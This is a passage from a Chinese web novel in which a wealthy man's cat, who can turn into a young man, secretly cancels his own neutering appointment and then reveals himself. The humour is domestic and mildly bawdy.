顾司沉：挺好，就是特别粘人。 顾司沉放下手机，突然感觉有点儿不对劲。乌乌不知何时停下踩奶了，摊着肚皮躺在他身上休息。仔细一看，小口红往外露出一大截，周围溢出蛋清一样的黏液。 顾司沉：“……？” 他心中有个猜想，但是又不敢承认，顾司沉私聊宠物医生，说出详细情况。 宠物医生：“很正常，猫一般6个月成熟，也有早一点的会5个月就进入发情期，乌乌现在已经5个多月，家长可以准备绝育了。” 顾司沉：“……” 他还以为乌乌是粘他，原来是把他当成了发泄工具。 顾司沉和宠物医生约好绝育时间，又回到朋友圈删掉了刚才的分享视频。 吴雪对此浑然不知，自从他无师自通学会让自己舒服后，就彻底爱上了这种感觉。 他最喜欢充满人气味的物品、材质要毛茸茸的那种，一口咬住，然后蹭蹭蹭，蹬蹬蹬。 为了不让小猫把自己当做发泄工具，顾司沉把毛茸茸的床上用品全换了，连睡衣也换成了滑溜溜的真丝睡衣。他以为这样就万无一失，没想到有天睡到半夜，竟然被猫咬着脖子兔子蹬。 顾司沉拎着小猫后颈，低声威胁：“别闹，不听话明天就把你送去割掉。” 乌乌：“喵！！” 吴雪不懂人说的割掉是什么意思，他只知道人不让他舒服，人坏。 第二天，吴雪照例下楼找玳瑁玩。 玳瑁兴致勃勃地说它和三花妹妹约会了，说不定好事就要成了。 这时候，大黄突然说：“别做梦了，你追不到三花的，就算你追到三花，你也给不了她幸福。” “为什么？！”玳瑁不服气地问。 大黄看了眼它身后的铃铛，语气贱贱地说：“因为你很快就会被割鸡，割鸡懂吗？割鸡割鸡割鸡！阿姨洗铁路。” 玳瑁露出愤怒的表情，很凶地冲大黄龇牙：“你才割鸡，你才被割鸡！” 说完，它一脸受伤的表情跑开了。 吴雪没有追上去，他被割鸡这个词吸引了注意力，毕竟昨天晚上顾司沉就说要送他去割掉。 他问大黄：“割鸡是什么意思？” 大黄摊手，吴雪很上道地递出小鱼干。 大黄吃得狼吞虎咽，抽空回答他：“割鸡就是绝育。” “绝育？”吴雪歪了歪头，还是不理解。 “就是割掉蛋蛋，让我们生不出小猫。”大黄吃完全部小鱼干，舔了舔自己早就不存在的蛋蛋，一脸惆怅地说，“看见我缺了一角的耳朵吗？这就是被绝育的标志。说起来，我也是舍弃了自己的金蛋蛋，才换来了今天优渥的生活。” 吴雪震惊了，他从来不知道，原来人类世界的猫会被割蛋！难道这就是依附人类生存的代价？！ 他又低头看了眼自己毛茸茸沉甸甸的大铃铛，还有最近总不受控制会冒出来的大口红，难道他也会被割掉吗……？！ 大黄又说：“你也快到了吧，等人发现你进入发.情.期，也会被送去割掉的。” 吴雪天塌了。 原来那种很舒服的事情是进入发.情.期。 抱着顾司沉蹭来蹭去的记忆重新攻击他，说不定根本不需要人发现，他早就暴露了！ “不可能！”吴雪疯狂摇头，严肃反驳，“我的人对我唯命是从，他才不敢割掉我的蛋蛋！” 大黄邪魅一笑：“太天真了，等到了那天你就知道了。” 吴雪又想起昨晚顾司沉的威胁，几乎是慌乱地辩解：“他不会的，如果他真敢，那我也先弄坏他的蛋蛋！” 大黄：“……你牛逼，等你好消息。” 第24章 [既然您已经决定不绝育, 那家长平时一定要多关注乌乌的状态。未绝育的公猫，可能会有乱尿、嚎叫、脾气暴躁等行为，也有一定被母猫吸引离家出走的风险。但家长您也不用太担心, 公猫绝育需求没有母猫高，多观察，有情况及时体检就行。] 顾司沉打开手机，突然收到宠物医生发来消息。 等等，他什么时候决定不给乌乌绝育了？ 顾司沉往上翻消息记录, 发现自己昨夜竟然给宠物医生发了一条消息：医生, 不割了。 问题是, 他并不记得自己发过这条消息。 消息发送时间是凌晨3点22分，那个时间点他应该在睡觉……谁动了他的手机？ 他家周围一直有保镖, 安保系统也非常完善, 家政人员和管家都不能深夜进出，更别提还知道他手机密码。 难道说他半夜睡糊涂给宠物医生发了消息？虽然有些离奇，但除此以外顾司沉想不到别的原因。他重新和医生约定了时间。 等待绝育的时间里，顾司沉发现家里有了一些变化。 厨师周姨突然很开心地说：“顾先生您最近胃口不错？您想吃什么直接说, 我以后多做点儿菜式。” 他有吗？ 顾司沉不觉得, 对周姨说和之前一样就行。 但在第二天，周姨又捂着嘴乐呵呵地看着他，一副我什么都知道的表情。 顾司沉：“……” 周姨是他母亲带来的厨师，擅长做广府菜, 离婚后王向云环游世界搞艺术创作, 周姨继续留在顾家服务两个小主人, 这么多年过去也算半个亲人了。 顾司沉怀疑周姨年纪上来，脑子不对劲，他委婉提醒：“周姨, 你今年的体检做了吗？” 周姨拍胸脯保证：“健健康康啦。” 顾司沉便沉默了。 周姨捂嘴偷笑，没想到顾先生看起来严肃正经，私底下竟然这么小孩儿心性。还偷偷留纸条让她买雪糕、零食，各种垃圾食品。 她就说嘛，那个健身餐白人饭哪里能好吃？果不其然，还不是要私底下偷偷乱吃零食。 顾先生碍于身份不好直言，那她自然也不会戳破这个秘密。只是外面卖的零食不健康，添加剂也多，顾先生之前都只吃有机食品，肠胃肯定受不了这种东西。 想了想，周姨又说：“外面卖的东西不健康，您想吃什么告诉我，我自己做，保证和外面卖的一样好吃。” 周姨一把年纪，还愿意钻研厨艺也是难得，顾司沉点头：“可以，你自己决定就行。” 周姨鼓足了劲儿，变着花样给顾司沉做零食。薯片、巧克力、冰淇淋、珍珠奶茶，辣条、螺蛳粉、炸鸡汉堡…… 她做完了就把东西放厨房，通常第二天过来东西就全没了。偏偏顾先生还假装自己没吃过。 起初周姨并不理解，顾先生都三十岁了，怎么突然小孩儿心性，竟喜欢吃零食，更奇怪的是明明吃了又要假装自己没吃。 直到有天她路过一所小学，放学铃声一响，小孩儿们像开笼的小鸭子一样跑了出来，三五成群，聚在校门口吃廉价的零食。 周姨突然想起顾先生的幼年，四五岁的顾司沉已经是一个小大人了，上下学都有专车接送，想必从未体会过和朋友在校门口买零食的生活。 所以他是在弥补童年？真是好可爱的一个人，但也莫名有点儿可怜。 周姨这下彻底问不出口了，只是零食做得越发用力，把一腔爱心都融入了食物里。顾司沉也非常给面子，把她做的东西全部吃光，还留了纸条说好吃。字迹歪歪扭扭，估计是用左手写的，因为害怕被人认出来。 与此同时，顾司沉发现乌乌不吃东西了。 猫粮一天不动，罐头也不爱了，连他最爱的小鱼干都兴趣缺缺。 顾司沉端了盘生骨肉亲自喂食，结果乌乌埋头舔了半天，食物一点儿没少，这猫竟然骗他在吃空气。 顾司沉：“……” 不仅不吃猫粮，连排泄都没有了，两天过去，猫砂盆里干干净净，甚至连小猫脚印都没有。 顾司沉大惊，以为乌乌生病了，可奇怪的是乌乌精神又很好，而且还变重了，抱起来时手感越发敦实，手心一捏就是一坨软肉。 顾司沉把情况告诉医生，医生也很茫然，起初他们以为乌乌是有口腔问题，所以才不进食。可小猫如果不吃不喝，怎么可能又有这么好的身体？ 体检没有发现任何异常，唯一的意外是小奇医生差点儿被小猫咬。 “乌乌之前明明很乖啊，”小奇医生不理解，一边躲开一边说，“这次见面怎么这么凶？看见我就咬。” 顾司沉按着乌乌胸膛，解释：“发情期脾气比较大。” “难怪这么凶，”小奇医生表示理解，又说，“等乌乌发情期结束就可以绝育了。” “嗷呜~！”小猫又要咬人。 医生很没骨气地跑了。 从宠物医院回来后，奇怪的事情还在增加。 顾司沉发现自己衣柜被动过，一部分从未穿过的衣服却出现了穿着痕迹，却又被人很笨拙地挂了起来，假装没动过，可惜手段拙劣。 顾司沉服装有专人搭配、熨烫、整理，衣帽间宽敞明亮，比奢侈品成列柜还要整洁，哪里混乱一眼就能看出来。 因为没有猫毛，所以顾司沉首先排除了小猫捣乱。他猜测是员工干活儿粗糙，让管家注意员工情况。 但也不是没有好消息，乌乌不再随随便便露口红了，也不会抱着他蹭来蹭去。算算日子乌乌发情期就要结束，可以送去割了。 此时乌乌体型已经接近成年，一身蓬松柔软的毛发，尾巴像鸡毛掸子那么大。尾巴根下方挂着两个毛栗子，饱满端正，比大部分小猫的都要大，可爱得不得了。 这么可爱的东西，割蛋后就再也看不到了。想到这里，顾司沉伸手弹了下，手感绝佳，于是他又弹了一下。 乌乌回头，满脸震惊，张口就是一咬：“喵！！！” 顾司沉硬生生忍下了，五秒后小猫终于松了口，顾司沉手背上出现四个深深的牙印。 有点儿痛，但乌乌还是疼他的，都没舍得让他见血。 于是顾司沉又弹了一下。 乌乌踹了他一脚，头也不回地跑了。 直到临睡前，顾司沉都没能把小猫哄顺毛，只好留门等乌乌自己消气。 半梦半醒中，顾司沉突然觉得胸膛有些刺痒。 睁眼一看，乌乌怒气冲冲，正在咬他乳头。 顾司沉：“……” 他扯开小猫，换掉濡湿的睡衣，但最终还是没舍得把小猫赶走，只是看着小猫眼睛，语气严肃地说：“不许咬人，听到没有？” 小猫油盐不进，犟种毛胡乱支起。 “我知道你能听懂，”顾司沉说，“白天的事情是我不对，我不该随便弹你蛋蛋，我向你道歉。可你也不能咬人ru头，知道了吗？” 啪—— 小猫一言不发，用鸡毛掸子那么大的尾巴扇人脸颊，又趁着顾司沉神志不清溜之大吉。 顾司沉缓了好几秒钟才回过神来，这还是小猫第一次用尾巴打他的脸…… 毛茸茸的，好软，好可爱。 他伸手抹掉脸上的猫毛，盖着被子睡了。 万籁俱寂，突然间，顾司沉脸颊感到一阵毛茸茸的触感。 “乌乌。” 他随手把小猫逮进怀中。 “顾司沉。” 顾司沉听见了一道清脆的男声，听起来年纪不大，非常陌生。 不管，是做梦。 “顾司沉！” 声音又响了起来，几乎就在耳边。而小猫毛茸茸的手感，突然变得滑溜溜。 顾司沉睁开眼睛，哪里还有猫，他怀里赫然躺着一个人，这人二话不说，张嘴就要咬他胸。 顾司沉被吓醒，猛地从床上坐起—— 晨光熹微，卧室沐浴在清晨宁静的深蓝里。 “喵~” 脚边的猫不悦地叫了起来，仿佛在控诉人怎么早早就将它吵醒。 原来只是做梦，顾司沉心脏重重回落。 距离起床时间还有半小时，但顾司沉已经睡不着了，干脆起床洗漱运动。 早餐期间，顾司沉浏览着今天的安排，日程表上写着一行鲜明的大字：乌乌绝育。 他在约定时间带着乌乌去了医院，小奇医生今天没有等在门口，但顾司沉不是架子大的人，没有放在心上，和服务站的护士说明来意。 2分钟后，小奇医生急急忙忙从楼上下来，一脸震惊：“您今天怎么过来了？” 顾司沉：“我带乌乌绝育。” 小奇医生更震惊了：“不是说取消手术吗？” 顾司沉一愣，表情有片刻错愕。什么取消手术？他怎么不知道？ 顾司沉以为自己又胡乱给医生发了消息，拿出手机看，对话框里没有任何消息。于是顾司沉说：“我没有取消。” 医生拿出自己手机，给顾司沉看聊天记录：“我昨晚收到了您的消息，说取消了。” 顾司沉低头一看，发现他不仅后半夜给医生发了消息，甚至还删掉了聊天记录。 事情突然变得扑朔迷离，有个瞬间，他几乎都要怀疑这是乌乌拿他手机发的了。 他把手机还给医生，说：“抱歉，可能出现了意外，但我没有取消。” 医生：“那我们今天把手术做了吧。” 顾司沉没有拒绝。 可绝育还是失败了，因为医生发现乌乌现在正在发情期。 顾司沉：“……” 他算过日子，按照10天结束发情期，乌乌现在应该刚结束才对。 医生告诉他公猫是诱导发情，可能最近又接触了母猫。 顾司沉皱眉，这几天乌乌都没有出门，根本没有接触母猫的环境。可既然事实已定，他也只能暂时放弃绝育，把乌乌带回家里。 离开医院前，一个穿制服的女生过来打招呼，她是古贸壹号的物业，今天带流浪猫过来绝育。 手术室门打开，露出手术台上的可怜家伙。就在这时，航空箱里的乌乌突然大叫起来。 “玳瑁！”乌乌双手扒着航空箱，难以置信，“好兄弟！我的好兄弟！！你怎么了？！” 玳瑁猫躺在手术台上，麻醉还没过，舌头软塌塌的搭在外面，一副任人宰割的脆弱模样。 它旁边有一个猫咪举手摆件，上面放着两颗圆滚滚的蛋，像是被剥了壳的芸豆…… 吴雪睁大眼睛，瞳孔地震！！！ 这是玳瑁的蛋！！玳瑁被割蛋了！！！ 不行！不能再继续这样下去了！他如果不反抗，今天的玳瑁就是他的下场！！. 顾司沉最近很忙，先是国外有一个合作项目需要他到场，回国后分公司业务出了问题，也需要他亲临处理。顾司沉连续出差数日，期间只回来看过两次猫，每次只呆了一个小时就又要走了。 以前他并不排斥工作的繁忙，可现在却觉得离家的每天都无比难熬。 更令他伤心的是，乌乌不愿意和他视频了，顾司沉只得每次从管家手机中得知乌乌动态。 十天后，顾司沉终于结束工作回了家。 他推开防盗门，对着静悄悄的客厅喊：“乌乌。” 没有任何回应。 顾司沉在门口等了一分多钟，确定乌乌不会再过来，这才脱掉西装外套走进卧室。 就在他推门的一瞬间，蛰伏在角落里的乌乌突然出现，张开双臂捕猎他。 顾司沉顺势抱起乌乌，露出了这些天第一个笑容：“有没有想我？” 乌乌不满自己的攻击被人当做可爱，愤怒地“喵！” 顾司沉又说：“乌乌，我好想你。” 小猫愣住了，小猫有些开心，又好像有些难过。但最终，小猫放任了自己的感情，用脑袋蹭人下巴，放软了声音“喵~” 一人一猫似乎和好了，连睡觉都在一个被窝。 顾司沉合上眼睛，想起了明天要送乌乌去绝育。可他又想，乌乌真的需要绝育吗？万一乌乌不想绝育呢？他甚至没征求过乌乌的意见。 顾司沉决定问一问乌乌，为了防止出错，宠物按钮和猫语翻译器都试一试。可他今天太困了，怀里的猫咪软软热热，他连呼吸都不敢大声，生怕稍微一动小猫就走了。 算了，明天起床再说吧，顾司沉闭眼睡着了。 一夜无梦。 顾司沉感到身体有些许沉重，仿佛被什么东西压着。他迷迷糊糊睁开眼，看见被子拱起一座小山。 “乌乌？”顾司沉突然意识到不对劲，乌乌不可能这么大一只。 他伸手去摸，摸到一片如丝绸般滑腻的皮肤。 顾司沉瞌睡一下全醒了，他愤怒地掀开被子，发现自己身上趴着一个赤.裸的少年。少年头发乌黑、皮肤雪白，五官精致漂亮，在阳光下散发出柔和的光泽。 仿佛被他打扰，少年卷翘的睫毛颤了颤，嘟哝了一声：“顾司沉……？” 他似乎还没有醒，脸颊贴在顾司沉腹部，声音黏黏糊糊，仿佛撒娇一般。 顾司沉肉眼可见地沉了脸，冷冷道：“下去！” 少年猛地清醒。 他一下从趴姿改为跪坐在顾司沉身上，低头看了眼自己滑溜溜的双手，又摸了摸光秃秃的尾椎骨。少年上吊的猫眼一点点睁大，浅绿色的瞳孔中露出震惊。 看着这一幕，顾司沉一瞬间竟有些恍惚。太像乌乌了，如果乌乌变成人，可能就是这副模样。 哪个不长眼的，竟然妄图用和乌乌一样的人讨好他。 顾司沉第一次这么生气，他抓住少年手腕要往床下扯，少年却以一种不可思议的速度挣脱他钳制，然后猛地捏住他那处。 顾司沉浑身一震，血液猛地上涌。 饶是他有十八般武艺，最脆弱的地方被人拿捏，还是忍不住倒吸一口凉气。 之前他怀疑少年是有人送来讨好他，现在却觉得谋杀可能更加准确。顾司沉深吸一口气，尽量保持冷静：“不管你有什么诉求，你先松手再说。” 少年虎视眈眈，满眼都是野兽的冲动。 顾司沉这辈子都没有这么狼狈的时刻，还想再周旋，少年突然加重手上的力道，凶巴巴地威胁他：“不许割掉！你敢割我的！我就敢揪掉你的！” 第25章 吴雪跨坐在顾司沉身上, 气势汹汹，自以为控制了人的关键命门。 然而下一刻天旋地转，顾司沉竟翻身将他压在了身下。 “放开我！”吴雪挣扎身体。 顾司沉从旁边抽出领带捆住吴雪双手, 另一头穿过床柱，直接将他绑在了床头。 吴雪抬脚就是一蹬，少年不着寸缕，白皙的身体毫无防备地展现在顾司沉面前。他有着一副完美契合人类审美的外表，行事却十分粗野, 像只野性勃勃的小兽。 然而很快, 他连脚也被顾司沉拉过的被子困住。吴雪只得冲人龇牙哈气, 可惜外形过于漂亮可爱，这一套动作毫无威慑力。 顾司沉这才得空去穿衣服, 出来时, 男生盯着他眼睛，很大声地喊：“顾司沉！顾司沉！” 顾司沉：“闭嘴。” 男生：“你坏蛋，我再也不要你了！” 顾司沉此时已经穿好西装，洗了脸, 头发梳得服服帖帖, 他站在床头打领带，居高临下地打量面前的少年：“谁派你来的？” “你带我回家的！”男生很急切地说，“顾司沉，我是吴雪, 乌乌！” 顾司沉：“那你变回去。” 吴雪：“……” “现在还不行, ”少年低下头, 有些委屈，“我才刚学会变人，还不熟练, 控制不了……” 顾司沉一个字也不信，他把人绑在床头，出门去找乌乌。他逛遍了整个家，连天花板都看了一遍，一无所获。 再次回到卧室，顾司沉表情冷了下来。 少年被绑在床头，被子早被他蹬到了一边，此刻正以一个极其柔韧的姿势折叠身体，想要用嘴咬手腕上的领带。 实在是太像猫了。 可人身体毕竟没有猫咪柔韧，而且就算猫也一时半会儿解不开领带。看着男生手腕上被磨红的皮肤，顾司沉终究还是解开了领带。男生立刻躲到了墙角，像是一只应激的猫。 顾司沉扔过去一件T恤，转身给安保团队打了电话。一是让他们找猫，二是要弄清楚这个人究竟怎么进了他卧室。 顾司沉整个早上都耗在了这件事上。 早上九点，宠物医生迟迟没在医院等到人过来，打电话前来询问：“顾先生，您今天还过来吗？” 顾司沉看了眼躲在墙角满脸警惕的少年，有些头疼：“出了点事，晚点再说。” 乌乌毫无踪迹，可奇怪的是这个人也没有任何匹配信息。 信息社会人从出生就要联网，生活出行也离不开户口簿和身份证，更别提遍布城市的天眼，除非国家层面的专业特工，没有人能完全抹除自己的存在痕迹。 可如果是专业特工，攻击他的方式不可能这么幼稚。 顾司沉又想起了少年说的第一句话：不许割掉，你敢割我的，我就敢揪掉你的。 他的诉求是不让自己给他绝育？难道这人真是乌乌变的？ 顾司沉朝男生走去，说：“你说你是乌乌，你有什么证据？” 吴雪想了想，说：“我抓到了给玳瑁投毒的坏人！” “不算，”顾司沉说，“这件事知情者众多。” 吴雪：“我帮你抓到了栽赃你的坏猫！” “也有别人知道，”顾司沉不为所动，冷漠道，“说点儿只有我们知道的事情。” 吴雪苦恼起来，什么事情是只有他们才知道的啊？为什么人就是不愿意相信他？ 他想不出来，抱着被子委屈道：“我不知道，我想不出来。你是坏人，你不相信我，我不想和你在一起了。” 顾司沉：“撒娇没有用。” “谁撒娇了？”吴雪像是突然被踩了尾巴的猫，站起身抓着顾司沉衣领说，“你自己明明说过一辈子不会抛弃我，现在我变成人就不算数了吗？你不相信我就算了，还要把我绑起来，送我去绝育……” 吴雪越说越伤心，委屈得不行，他猛地推开顾司沉，转身朝门外跑去：“顾司沉，我讨厌你，我再也不要喜欢你了！” 少年赤脚啪嗒啪嗒跑过客厅，刚碰到防盗门把手就被人拽住手腕，猛地拉了回来。 防盗门在身后关闭，吴雪愤怒地看着眼前的男人。正要发作，顾司沉突然递来一部手机：“能不能解锁？” 吴雪在屏幕上戳戳戳，非常顺利。说完他还有些得意地说：“你的平板电脑我也能解锁。” “不用，”顾司沉径直收起手机，又问，“是你偷发消息拒绝宠物医生？” “是。” “周姨做的零食也是你吃的？” “是……”吴雪埋下了脑袋。 “所以你才不吃饭？” 吴雪脑袋埋得更低了，一副犯了错的心虚表情。 顾司沉深吸一口气又缓缓吐出，仿佛认命一般妥协：“乌乌。” “哎！”少年扑到他身上。 猫扑人是可爱，这么大的人扑过来就是袭击了。顾司沉后退两步站稳身体，搂住吴雪不让他摔倒。 触感滑溜，和猫咪毛茸茸的手感截然不同。 顾司沉松手，丢过去一件T恤：“把衣服穿上。” “不要，”吴雪二话不说踹走衣服，很嫌弃地说，“我不喜欢。” 顾司沉耐着性子解释：“你现在已经变成了人，人都要穿衣服。” 吴雪眨了眨眼睛：“不穿衣服就不能和你在一起吗？” 顾司沉说是。 吴雪纠结了半天，突然跑进洗衣房抓出两件衣服，勉为其难道：“那我穿这个。” 是顾司沉穿过的衬衫和西裤…… 上面沾着人的味道，吴雪很喜欢。 顾司沉闭了闭眼，那种绝望的感觉又上来了。可最终他什么也没说，先哄吴雪穿上了衣服，再和医生取消绝育手术，又让管家送一批适合吴雪体型的衣服过来。 管家这件事办得提心吊胆，又充满好奇。在他服务顾司沉的这些年里，从来没有收到过任何类似的任务。一份给另一个男性准备的东西，甚至连内衣和鞋袜都一并准备妥帖。 管家飞快准备好衣物，亲自带着东西上门。 大门打开，一个年轻漂亮的男孩儿坐在吧台上吃东西，身上穿着大了两个号的白衬衣。 管家目不斜视，送来一袋衣服，又对顾司沉说：“临时准备的，不知道合不合身。” 顾司沉说没事，主动接过了袋子。 “管家！”男孩儿突然放下筷子，张开双臂朝他扑了过来。 管家：！！！ “坐好。”顾司沉命令道。 男孩儿不情愿地“哦”了一声，回去重新坐在椅子上，很有礼貌地说：“管家，中午好。” 管家瞳孔地震，尽量保持礼貌：“中午好。” 顾司沉把袋子放在沙发上，对埋头吃饭的男生说：“吃完饭去把衣服换了。” 男生有些不情愿，撒娇道：“可以不穿吗？” 顾司沉：“不可以。” 男生犹豫片刻，最终还是妥协：“那好吧。” 管家睁大眼睛，这辈子从来没有这么想吃自己老板的瓜，可惜他吃瓜业务不熟练，因为目光太过直白，被顾司沉赶出了门。 “怎么就走了啊？”吴雪有些失望，“我还想和管家一起玩儿。” 顾司沉在处理工作，没搭理他。 不知是不是吴雪的错觉，他觉得自己变成人后顾司沉对他冷淡了许多，都不亲他、摸他、抱他了。 吃完饭，吴雪把玩具丢进顾司沉怀里，说：“人，陪我玩。” 顾司沉把玩具放到沙发上，头也不抬：“我在工作，你自己玩。” 吴雪又问：“工作什么时候能做完？” 顾司沉：“不知道。” “那好吧……”吴雪有些失落，但终究也没有多说什么，自己去玩小鸟玩具了。 可吴雪忘记了一点，他现在已经不是小猫了，而人的身体远没有小猫那么灵活，吴雪把小鸟扔到半空中，然后跳上去抓，咚—— 顾司沉抬头，看见吴雪摔倒在地上。 顾司沉扶起吴雪，问：“有没有受伤？” 吴雪实话实说：“背有点儿痛。” 后背红了一大片，他皮肤本来就白，现在看着更是可怜。 顾司沉放下衣服，说：“我带你去医院。” 吴雪突然警惕，一下从他怀里跳走，很大声地说：“我不去！” 顾司沉：“不绝育，只是帮你看病。” 吴雪：“那我也不去！” 吴雪说什么都不松口，顾司沉没办法，只得先让家庭医生过来检查。 或许是绝育阴影，现在吴雪讨厌一切和医院有关的东西，当然也包括医生本人。他刚开始还好奇地盯着这个人，直到听顾司沉说对方是医生，吓得转头就跑。让医生检查身体就更不可能了，吴雪讨厌一切医疗设备，连温度计都觉得很可怕。 十分钟后，顾司沉终于在衣帽间的柜子里逮到吴雪。他用抱小孩儿的姿势把人抱出来，好声好气地哄着，又撩起吴雪衣摆让医生看。 家庭医生竭力克制着自己的表情，在顾司沉的督促下，检查着少年根本看不出任何受伤痕迹的后背。 但他是个专业的全科医生，医生诊断讲究望闻问切，光肉眼看肯定不行。医生本打算上手，可看见顾司沉的表情又放了下来，清了清嗓子说：“当时是怎么受伤的？” 顾司沉总不可能说吴雪是跳起来玩小鸟玩具受伤了，只说：“在打闹过程中撞到了后背，他说疼。” 家庭医生：“触碰有没有痛感？” 顾司沉没理解他这话的意思。 医生提醒：“您轻轻按压试一试。” 顾司沉这才腾出一只手按压吴雪后背，吴雪皮肤又白又嫩，轻轻一碰就出现了几个指印。 “看起来问题不大。”医生判断道，“只有极轻微的红肿，一般来说可以自行消散。实在不放心也可以用消肿喷剂，不出三天就能完全康复。” “不要！”一听要用喷剂，吴雪又挣扎起来。 顾司沉一巴掌拍在吴雪屁股，警告道：“安分点儿。” 吴雪不敢动了。 家庭医生表情凝固，缓缓睁大了眼睛。 顾司沉脸上也有点儿挂不住，清了清嗓子说：“辛苦医生了。” 医生：“那我走了，有情况随时联系。” “等等。”顾司沉怀里的漂亮少年突然开口，声音清脆，有一种未经规训的稚纯。 医生心中好奇，停下脚步说：“请问还有什么事吗？” 吴雪仰头看他，语气非常认真：“你是医生，你知道发.情.期应该怎么办吗？” 家庭医生：？ 顾司沉一把捂住吴雪嘴巴，说：“小孩儿不懂事，乱说的。” 医生瞳孔地震，医生欲言又止，心道自己也是拿上了时髦剧本。可惜顾司沉不给他围观的机会，只得依依不舍地离开了那里。 关门声传来，吴雪挣脱顾司沉的钳制，一脸不悦：“你刚才为什么不让我继续说？” 顾司沉：“人一般不会和别人讨论这种话题。” “好吧，”吴雪有些郁闷，但还是说，“那我以后不和别人说了。” 顾司沉：“嗯。” 吴雪：“我只告诉你。” 顾司沉：“……” 第26章 和人形乌乌相处, 是一件非常困难的事情。吴雪虽然外表上看是一个人，可本质上就是一只人形大猫咪，还是和猫一样莽撞, 自我，任性。 顾司沉坐在沙发上看资料，吴雪二话不说就钻进他怀里。顾司沉把人推开，后者就一脸委屈。 顾司沉：“太近了。” 吴雪：“哦。” 吴雪委屈巴巴地缩到沙发角，低头想舔舐身体安慰自己。可看着顾司沉严肃的眼神, 吴雪又放弃了舔毛, 改为抱着双膝。 虽然顾司沉什么都没有说, 但他知道人不喜欢自己像猫的那部分。 可他明明就是一只猫呀，怎么能不像猫呢？ 吴雪有些郁闷地想, 早知道变人这么不开心, 还不如一直当小猫。 更糟糕的是做人要洗澡，吴雪最讨厌洗澡了。顾司沉却把他关进浴室里，说他必须洗完澡才能睡觉。 担心吴雪溺水，顾司沉只让他用淋浴, 水温调节、洗发水、沐浴露使用方法都一一教过, 还怕他扑倒扑了防滑垫。 可即便如此，十分钟后浴室里还是传来咚的一声响。顾司沉开门一看，吴雪竟然穿着衣服在洗澡，然后踩到湿漉漉的裤脚摔倒了。 顾司沉：“……” 什么都教了, 唯独漏了这一点, 洗澡要先脱衣服。 他扶起摔倒在地的吴雪, 问：“有没有受伤？” 吴雪抿了抿唇，说：“没有。” 明明痛得脸都白了，却还不肯示弱。人是不撞南墙不回头, 猫是撞了南墙还不回头。 顾司沉叹了口气，说：“我教你一次，下次你自己洗。” “哦！”吴雪又立刻高兴起来，连语调都转了弯儿。 真正洗澡时吴雪其实非常乖巧，让干什么就干什么，比猫形时要省心许多。 顾司沉卷起衬衫衣袖，教吴雪洗澡流程，判断什么情况是洗干净了，最后关掉了花洒龙头。 吴雪：“洗完了？” 顾司沉：“嗯。” “可是，”吴雪有些困惑地指了指自己前面，“这里还没有洗。” 顾司沉说：“这里你自己洗。” “哦。”吴雪不太理解，但还是听话照做，正对着顾司沉，认认真真地洗他的小啾啾。 顾司沉移开视线，告诉吴雪这里不能给别人看。 “管家也不行吗？” “不行。” “周姨呢？” “不行。” “玳瑁呢？” “不行。” 吴雪苦恼极了，又问：“给你看也不行吗？” 顾司沉：“我也不行。” 吴雪“哦”了一声，失落地低下了头。怎么这样，当人好麻烦啊…… 吴雪洗完澡，吹干头发，披了张浴巾离开浴室。等顾司沉洗完澡出来，他已经躺在床上睡着了。 顾司沉看了一会儿，转身去客房睡觉。 他独自入睡，第二天醒来却发现少年毫无防备地躺在他怀中，四肢修长，脸颊肉嘟嘟。 顾司沉把人拍醒，低声问：“你为什么会在这里？” 吴雪揉了揉眼睛，有些委屈：“我半夜醒来发现你不在，找了好久才找到你。” 顾司沉什么也没有说，起身出了客房，运动，洗漱，吃完早餐出门工作。 当他准备出门时，吴雪也已经穿上衣服守在玄关，见顾司沉过来立刻递过手提袋，一双眼睛又大又闪，什么话都藏不住。 顾司沉叹了口气，说：“什么事？” 吴雪立刻道：“我想跟你一起出门！” 顾司沉：“不行，你留在家。” “为什么？” “不方便。” “为什么不方便？”吴雪不理解，“你就说我是你的小猫啊。” 顾司沉：“……” 再严重的话顾司沉说不出口，他伸手摸了摸吴雪脑袋，只说：“乖，下次再带你。” “好吧。”吴雪最终还是妥协了，可呆在家里好无聊，他又问，“那我可以下楼找玳瑁玩吗？” 顾司沉：“你能保证在外面不变身吗？” 吴雪老实交代：“现在还不能。” “那不能出门，”顾司沉说，“我让管家来陪你，无聊你可以玩游戏，或者去楼下找顾亭安玩儿。” 吴雪眼睛亮了起来：“顾亭安知道我变成人了？” “现在还不知道，”顾司沉说，“你想告诉他吗？” “想！”吴雪毫不犹豫。 他还是猫时就想和顾亭安亲近了，只是对方猫毛过敏，可现在他变成了人，就能去找顾亭安玩啦。 一直让吴雪留在家里不现实，顾司沉打算从最信任的弟弟和管家入手，让吴雪逐渐适应现代社会，与人沟通。 顾司沉离开后不久，管家带着东西进了屋。 一阵激动的认亲之后，吴雪看着管家带来的东西双眼放光，手机！他有了自己的手机！！ 吴雪安装好程序，迫不及待地和妈妈视频。 “妈妈，我变成人了！”吴雪语气激动，可很快又沮丧起来，埋怨道，“做人一点都不方便！还是做小猫好……” “那当然啦，做人哪里有做猫幸福。”妈妈赞同道，她们虽然在人类社会生活过，可选择留在猫猫岛做猫咪。 吴雪玩了一上午的手机，吃过午饭后决定下楼找顾亭安玩儿。 他没让顾司沉提前说，直说乌乌要下去找他玩，打算把自己变人这个好消息亲口告诉对方。顾亭安肯定不知道他是小猫变的，他要去吓他一跳！ 吴雪乘坐室内电梯下楼，一开门就皱起了眉。好臭，什么味道？顾亭安家里怎么会有那个讨厌家伙的味道？！ 吴雪本能地感到威胁，躲在墙角，一言不发。 “乌乌？”顾亭安从画室出来，“乌乌，你下来了吗？” 吴雪把准备的礼物放在门口，转身离开了。 傍晚，顾司沉外出归来，发现吴雪安静地看着窗外，似乎有些不太开心。 顾司沉说：“你今天没出门？亭安说没看见你。” “顾司沉，”吴雪突然抬头，问他，“你会养别的猫吗？” 顾司沉愣了下：“怎么突然问这个？” 他以为吴雪会和以往一样说出许多任性的、自我的理由，可吴雪低下了头，很乖巧地说：“没什么，就随便问问。” “不会。”顾司沉说。 “真的？”吴雪瞪圆眼睛。 “真的。”顾司沉重复。 这个回答让吴雪肉眼可见地开心起来，他凑到顾司沉身边，像小猫一样用鼻子嗅闻顾司沉的身体，确定对方身上没有其他猫咪的味道，变得更开心了。 但是这种开心只持续到晚上，吴雪很快又变得郁闷起来，因为顾司沉要和他分开睡觉。 吴雪刚洗完澡，抱着玩具兴冲冲地跑过来，就听见顾司沉说：“我们分开睡。” 吴雪呆住了：“为什么？” 顾司沉：“不方便。” “怎么不方便了？”吴雪有些委屈，“明明之前都是一起睡的，为什么现在不行了？” 